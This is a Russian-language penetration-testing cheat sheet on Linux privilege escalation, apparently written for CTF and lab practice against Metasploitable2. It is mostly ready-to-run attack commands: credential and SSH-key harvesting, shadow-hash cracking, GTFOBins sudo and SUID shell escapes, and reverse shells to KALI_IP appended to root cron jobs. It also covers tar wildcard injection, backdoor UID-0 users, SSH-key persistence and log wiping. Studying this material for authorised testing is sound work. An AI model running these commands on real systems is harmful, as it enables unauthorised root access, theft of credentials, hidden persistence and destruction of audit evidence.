📌 Шпаргалка #24

Linux: файловая система, привилегии, privilege escalation

✍️ pentestudy 📅 30.03.2026

🐧 Что это

Когда ты получил шелл на Linux-машине — это только начало. Дальше нужно понять: кто ты, где ты, что можешь, и как стать root. Для этого нужно знать как устроен Linux изнутри: файловая система, права, процессы, сервисы.

Аналогия: ты проник в здание через окно первого этажа. Теперь нужно понять планировку — где лестницы, где охрана, где ключи от серверной.

📌 Файловая система Linux — где что лежит

Структура

/                         ← корень, всё начинается здесь
├── /bin                  ← базовые команды (ls, cat, cp, mv)
├── /sbin                 ← системные команды (iptables, fdisk, reboot)
├── /boot                 ← ядро и загрузчик
├── /dev                  ← устройства (диски, терминалы)
├── /etc                  ← ВСЕ конфигурации системы ★
│   ├── passwd            ← список пользователей
│   ├── shadow            ← хеши паролей ★★★
│   ├── group             ← группы
│   ├── hosts             ← локальный DNS
│   ├── crontab           ← системные cron-задачи
│   ├── sudoers           ← кто может sudo ★★
│   ├── ssh/              ← конфиг SSH
│   └── fstab             ← монтирование дисков
├── /home                 ← домашние папки пользователей ★
│   └── user/
│       ├── .bash_history ← история команд ★★
│       ├── .ssh/         ← SSH-ключи ★★★
│       └── .bashrc       ← настройки шелла
├── /opt                  ← дополнительный софт
├── /proc                 ← виртуальная ФС — инфо о процессах ★
│   ├── self/environ      ← переменные окружения текущего процесса
│   ├── version           ← версия ядра
│   └── [PID]/cmdline    ← командная строка процесса
├── /root                 ← домашняя папка root ★★★
├── /tmp                  ← временные файлы (доступны всем) ★
├── /usr                  ← пользовательские программы
│   ├── bin/              ← команды пользователей
│   ├── local/bin/        ← локально установленный софт
│   └── share/            ← общие данные
├── /var                  ← переменные данные
│   ├── log/              ← логи ★★
│   │   ├── auth.log      ← логи аутентификации
│   │   ├── syslog        ← системный лог
│   │   └── apache2/      ← логи веб-сервера
│   ├── www/html/         ← корень веб-сервера ★
│   ├── backups/          ← бэкапы ★
│   └── mail/             ← почта пользователей
└── /mnt, /media          ← точки монтирования

Звёздочки — важность для пентестера. ★★★ — первоприоритетные цели.

Первые команды после получения шелла

# Кто я?
whoami
id                  # uid, gid, группы
 
# Где я?
pwd
hostname
uname -a            # ОС, версия ядра, архитектура
cat /etc/os-release # Дистрибутив и версия
 
# Что за машина?
ip a                # Сетевые интерфейсы
cat /etc/hosts      # Локальные DNS-записи
cat /etc/resolv.conf # DNS-серверы
 
# Кто ещё на машине?
w                   # Кто сейчас залогинен
last                # Последние входы
cat /etc/passwd     # Все пользователи

⚡ Пользователи и права

/etc/passwd — карта пользователей

root:x:0:0:root:/root:/bin/bash
msfadmin:x:1000:1000:msfadmin:/home/msfadmin:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Формат: имя:пароль:UID:GID:описание:домашняя_папка:шелл

  • x в поле пароля — пароль в /etc/shadow
  • UID 0 = root. Если найдёшь другого пользователя с UID 0 — он тоже root
  • /usr/sbin/nologin или /bin/false — пользователь не может залогиниться (сервисный аккаунт)

Для пентестера: пользователи с /bin/bash — реальные аккаунты. Если UID 0 есть у кого-то кроме root — это бэкдор или мисконфигурация.

/etc/shadow — хеши паролей

root:$6$xyz$abc...длинный_хеш:19000:0:99999:7:::
msfadmin:$6$abc$def...длинный_хеш:19000:0:99999:7:::

Формат: имя:хеш:дата_смены:мин_дней:макс_дней:предупреждение:...

Типы хешей по префиксу:

  • $1$ — MD5 (слабый, быстро ломается)
  • $5$ — SHA-256
  • $6$ — SHA-512 (стандарт на современных системах)
  • $y$ — yescrypt (новый, очень стойкий)
  • $2b$ — bcrypt

Для пентестера: если можешь прочитать /etc/shadow — копируй и ломай офлайн через hashcat или john:

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_file
 
# Hashcat (быстрее на GPU)
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt  # SHA-512

Права доступа

ls -la /etc/shadow
-rw-r----- 1 root shadow 1234 Mar 30 12:00 /etc/shadow

Формат: тип|owner|group|others

-rw-r-----
│├──┤├──┤├──┤
│  │   │   └── others: --- (ничего)
│  │   └────── group:  r-- (чтение)
│  └────────── owner:  rw- (чтение, запись)
└───────────── тип: - (файл), d (директория), l (ссылка)

Права в числах:

  • r (read) = 4
  • w (write) = 2
  • x (execute) = 1

Примеры: 755 = rwxr-xr-x, 644 = rw-r--r--, 777 = rwxrwxrwx (ОПАСНО — все могут всё).

Специальные биты — SUID, SGID, Sticky

SUID (Set User ID) — файл выполняется с правами владельца, а не запускающего пользователя. Если владелец root — файл выполняется от root.

ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Mar 30 12:00 /usr/bin/passwd
    ^
    s = SUID бит

passwd имеет SUID — потому что обычному пользователю нужно менять свой пароль в /etc/shadow, который доступен только root.

Для пентестера: SUID-файлы — главный вектор privilege escalation. Если найдёшь SUID на уязвимой программе — можешь стать root.

SGID (Set Group ID) — файл выполняется с правами группы владельца. На директории — все файлы внутри наследуют группу.

Sticky bit — на директории означает, что удалять файлы может только владелец. /tmp имеет sticky bit — все могут создавать, но удалять только свои.

ls -la / | grep tmp
drwxrwxrwt 10 root root 4096 Mar 30 12:00 tmp
         ^
         t = sticky bit

🔍 Privilege Escalation — путь в root

Что это

Privilege Escalation (privesc) — повышение привилегий от обычного пользователя до root. Это то, что делаешь после получения шелла как msfadmin — ищешь путь стать root.

Аналогия: ты попал в здание как уборщик (low-privilege user). Твоя цель — найти ключ-карту директора (root). Можешь найти её в незапертом ящике, украсть, скопировать или подобрать код.

Шаг 1 — Разведка системы

# Базовая информация
whoami && id
uname -a              # Версия ядра — может быть уязвима
cat /etc/os-release   # Дистрибутив
 
# Sudo
sudo -l               # Что можно запускать через sudo? ★★★
 
# SUID файлы
find / -perm -4000 -type f 2>/dev/null  # ★★★
 
# SGID файлы
find / -perm -2000 -type f 2>/dev/null
 
# Файлы доступные на запись
find / -writable -type f 2>/dev/null | grep -v proc
 
# Cron-задачи
cat /etc/crontab
ls -la /etc/cron.*
crontab -l            # Задачи текущего пользователя
 
# Запущенные процессы
ps aux                # Все процессы
ps aux | grep root    # Процессы от root
 
# Сетевые соединения
ss -tlnp              # Слушающие TCP-порты
ss -ulnp              # Слушающие UDP-порты
 
# Внутренние сервисы (слушают на 127.0.0.1)
ss -tlnp | grep 127.0.0.1
 
# Переменные окружения
env                   # Могут содержать пароли!
cat /proc/self/environ
 
# История команд
cat ~/.bash_history   # Пароли, которые кто-то вводил в командной строке ★★
cat /home/*/.bash_history 2>/dev/null
 
# SSH-ключи
find / -name "id_rsa" 2>/dev/null        # Приватные ключи ★★★
find / -name "authorized_keys" 2>/dev/null
 
# Конфигурации с паролями
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
grep -r "password" /opt/ 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name ".env" 2>/dev/null          # ★★★

Шаг 2 — Автоматизация разведки

Вручную долго — есть скрипты:

# LinPEAS — лучший скрипт для Linux privesc
# Скачать на атакующей машине
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
 
# Передать на цель (через Python HTTP-сервер)
# На Kali:
python3 -m http.server 8888
 
# На цели:
wget http://KALI_IP:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
 
# LinEnum — ещё один хороший скрипт
# linux-exploit-suggester — предлагает kernel exploits по версии ядра

LinPEAS подсвечивает цветом: красный = критические находки, жёлтый = интересно, зелёный = информация.

Способ 1 — sudo

Самый простой путь. Если sudo -l показывает что-то — проверяй на GTFOBins.

sudo -l
# (root) NOPASSWD: /usr/bin/vim
# (root) NOPASSWD: /usr/bin/find
# (root) NOPASSWD: /usr/bin/python3
# (root) NOPASSWD: /usr/bin/less

GTFOBins (https://gtfobins.github.io) — база данных программ, через которые можно повысить привилегии:

# sudo vim
sudo vim -c ':!/bin/bash'
 
# sudo find
sudo find / -exec /bin/bash \;
 
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
 
# sudo less
sudo less /etc/shadow
# Внутри less набираешь: !/bin/bash
 
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
 
# sudo nmap (старые версии)
sudo nmap --interactive
nmap> !sh
 
# sudo env
sudo env /bin/bash
 
# sudo cp — копируешь свой passwd поверх системного
# sudo wget — скачиваешь свой shadow/passwd
 
# sudo tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

Способ 2 — SUID-файлы

# Найти все SUID-файлы
find / -perm -4000 -type f 2>/dev/null

Стандартные SUID-файлы (безопасны): /usr/bin/passwd, /usr/bin/sudo, /usr/bin/ping, /usr/bin/su.

Нестандартные SUID-файлы — потенциальные вектор:

# Если /usr/bin/find имеет SUID
find . -exec /bin/bash -p \;    # -p сохраняет привилегии
 
# Если /usr/bin/python3 имеет SUID
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
 
# Если /usr/bin/vim имеет SUID
vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'
 
# Если /usr/bin/nmap имеет SUID (старые версии)
nmap --interactive
!sh
 
# Если кастомный бинарник с SUID
strings /path/to/binary    # Ищем вызовы системных команд
ltrace /path/to/binary     # Трассировка библиотечных вызовов

Проверяй каждый нестандартный SUID на GTFOBins.

Способ 3 — Cron Jobs

Cron — планировщик задач. Если cron-задача запускается от root и ты можешь модифицировать скрипт — получаешь root.

# Проверить системные cron-задачи
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
 
# Пример уязвимой crontab
# * * * * * root /opt/scripts/backup.sh

Если /opt/scripts/backup.sh доступен на запись:

# Проверяем права
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root ...   ← всем можно писать!
 
# Добавляем reverse shell
echo 'bash -i >& /dev/tcp/KALI_IP/4444 0>&1' >> /opt/scripts/backup.sh
 
# На Kali слушаем
nc -lvnp 4444
# Ждём — когда cron выполнит скрипт, получим root shell

Wildcard injection — если в cron-скрипте есть tar * или cp *:

# Если cron запускает: cd /tmp && tar czf backup.tar.gz *
# Создаём файлы-аргументы:
echo "" > "/tmp/--checkpoint=1"
echo "" > "/tmp/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/KALI_IP/4444 0>&1" > /tmp/shell.sh

Способ 4 — Writable /etc/passwd

На старых системах (как Metasploitable2) /etc/passwd может быть доступен на запись:

ls -la /etc/passwd
# -rw-rw-rw- 1 root root ...   ← можно писать!
 
# Генерируем хеш пароля
openssl passwd -1 -salt xyz password123
# $1$xyz$abc...
 
# Добавляем пользователя с UID 0 (root)
echo 'hacker:$1$xyz$abc...:0:0:Hacker:/root:/bin/bash' >> /etc/passwd
 
# Логинимся
su hacker
# Пароль: password123
# whoami → root

Способ 5 — Kernel Exploits

Если ядро старое — может быть уязвимо:

uname -r
# 2.6.24-16-server   ← Metasploitable2, очень старое
 
# Поиск эксплойтов
searchsploit linux kernel 2.6.24
 
# Или через linux-exploit-suggester
./linux-exploit-suggester.sh

Известные kernel exploits:

  • Dirty COW (CVE-2016-5195) — Linux kernel < 4.8.3, запись в read-only файлы
  • Dirty Pipe (CVE-2022-0847) — Linux kernel 5.8-5.16, перезапись файлов
  • PwnKit (CVE-2021-4034) — Polkit pkexec, работает почти везде

Kernel exploits — последний вариант. Они могут уронить систему. Сначала пробуй sudo, SUID, cron.

Способ 6 — Пароли в файлах

# История команд — люди вводят пароли в CLI
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
 
# Конфиги веб-приложений
cat /var/www/html/wp-config.php          # WordPress
cat /var/www/html/config.php             # Разные CMS
cat /var/www/html/.env                   # Laravel, Node.js
cat /var/www/html/configuration.php      # Joomla
 
# Конфиги баз данных
cat /etc/mysql/my.cnf
cat /etc/postgresql/*/main/pg_hba.conf
 
# SSH-ключи
cat /home/*/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null
 
# Бэкапы
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
find / -name "*.sql" 2>/dev/null         # Дампы БД с паролями

Способ 7 — Внутренние сервисы

# Что слушает на localhost
ss -tlnp | grep 127.0.0.1
 
# Пример: MySQL на 127.0.0.1:3306 без пароля
mysql -u root -p       # Пробуем пустой пароль
mysql -u root           # Или вообще без -p

Нашёл пароль в MySQL → пробуй его для su root (люди переиспользуют пароли).

⚡ Post-Exploitation — что делать после root

Сбор информации

# Хеши всех паролей
cat /etc/shadow
 
# SSH-ключи для доступа к другим машинам
cat /root/.ssh/id_rsa
cat /root/.ssh/known_hosts    # Куда подключались
cat /root/.ssh/authorized_keys
 
# Историй
cat /root/.bash_history
 
# Сетевые подключения
ip a
ip route
arp -a
cat /etc/hosts
ss -tlnp
 
# Cron — что запускается регулярно
crontab -l
cat /etc/crontab

Persistence — закрепление доступа

SSH-ключ:

# На Kali генерируешь ключ
ssh-keygen -t ed***** -f backdoor_key
 
# На цели добавляешь публичный ключ
echo "ssh-ed***** AAAA...ключ..." >> /root/.ssh/authorized_keys
 
# Теперь можешь заходить без пароля
ssh -i backdoor_key root@TARGET_IP

Новый пользователь с UID 0:

useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd

Cron reverse shell:

echo "* * * * * root bash -i >& /dev/tcp/KALI_IP/4444 0>&1" >> /etc/crontab

Заметание следов

# Очистка логов (в учебных целях)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
 
# Удаление истории
history -c
echo "" > ~/.bash_history
 
# Удаление загруженных файлов
rm /tmp/linpeas.sh

В реальном пентесте — не заметаешь следы, а документируешь всё что сделал для отчёта.

🔧 Процессы и сервисы

Процессы

# Все процессы
ps aux
 
# Процессы от root — интересные цели
ps aux | grep root
 
# Дерево процессов
pstree
 
# В реальном времени
top
htop

Для пентестера: процессы от root, которые взаимодействуют с файлами, к которым у тебя есть доступ — вектор для privesc.

Systemd и сервисы

# Все сервисы
systemctl list-units --type=service
 
# Статус конкретного
systemctl status ssh
 
# Конфиги сервисов
ls /etc/systemd/system/
ls /lib/systemd/system/

Если конфиг сервиса доступен на запись — можешь изменить команду запуска.

Cron — планировщик

# Формат crontab
# мин час день месяц день_недели команда
# *   *    *     *       *        /path/to/script
 
# Каждую минуту
* * * * * /opt/scripts/backup.sh
 
# Каждый час
0 * * * * /opt/scripts/cleanup.sh
 
# Каждый день в 3:00
0 3 * * * /opt/scripts/daily.sh

🛡 Логи — где искать и где прятаться

Важные логи

/var/log/auth.log       # SSH-входы, sudo, su — кто и когда
/var/log/syslog         # Системные события
/var/log/kern.log       # Сообщения ядра
/var/log/apache2/       # Логи веб-сервера
  ├── access.log        # Кто заходил на сайт
  └── error.log         # Ошибки (иногда с путями и паролями)
/var/log/mysql/         # Логи MySQL
/var/log/cron.log       # Логи cron-задач
/var/log/mail.log       # Почтовые логи
/var/log/faillog        # Неудачные входы
/var/log/lastlog        # Последние входы

Для пентестера — двустороннее использование:

  • Читаем логи для получения информации (IP, пользователи, ошибки с паролями)
  • Знаем что наши действия логируются — учитываем при планировании

🧠 Готовые комбо

Первые действия после шелла:

whoami → id → uname -a → ip a → sudo -l → find SUID → cat /etc/crontab → cat ~/.bash_history → ss -tlnp

Быстрый путь в root:

sudo -l → есть что-то? → GTFOBins → root. Нет? → find SUID → GTFOBins → root. Нет? → cron + writable scripts → root. Нет? → kernel exploit

Сбор паролей:

cat /etc/shadow → john/hashcat. cat ~/.bash_history → пароли в CLI. find .env/.conf → пароли в конфигах. mysql → пароли в БД

Полная автоматизация:

Загрузить LinPEAS → chmod +x → запустить → читать красные/жёлтые находки → эксплуатировать по приоритету: sudo > SUID > cron > kernel

⚠️ Важные моменты

  • sudo -l — всегда первая команда. Это самый быстрый путь в root и самый частый вектор на CTF и реальных машинах
  • GTFOBins — твоя библия. Закладка в браузере обязательна. Почти каждая программа с sudo/SUID может дать shell
  • SUID на кастомных бинарниках — золото. Стандартные SUID (passwd, ping) обычно безопасны. Нестандартные — почти всегда эксплуатируемы
  • /etc/passwd writable — мгновенный root. На Metasploitable2 это может сработать. На современных системах — нет
  • Kernel exploits — последний вариант. Могут уронить систему. Dirty COW, Dirty Pipe, PwnKit — запомни эти имена
  • История команд — клад. Люди вводят mysql -u root -pSecretPassword123 и это сохраняется в .bash_history
  • Пароли переиспользуются. Нашёл пароль в конфиге MySQL → попробуй для su root и SSH на другие машины
  • LinPEAS экономит часы. Запускай всегда, но учись понимать что он находит, а не просто копировать красные строки
Содержание
🐧 Что это 📌 Файловая система Linux — где что лежит Структура Первые команды после получения шелла ⚡ Пользователи и права /etc/passwd — карта пользователей /etc/shadow — хеши паролей Права доступа Специальные биты — SUID, SGID, Sticky 🔍 Privilege Escalation — путь в root Что это Шаг 1 — Разведка системы Шаг 2 — Автоматизация разведки Способ 1 — sudo Способ 2 — SUID-файлы Способ 3 — Cron Jobs Способ 4 — Writable /etc/passwd Способ 5 — Kernel Exploits Способ 6 — Пароли в файлах Способ 7 — Внутренние сервисы ⚡ Post-Exploitation — что делать после root Сбор информации Persistence — закрепление доступа Заметание следов 🔧 Процессы и сервисы Процессы Systemd и сервисы Cron — планировщик 🛡 Логи — где искать и где прятаться Важные логи 🧠 Готовые комбо ⚠️ Важные моменты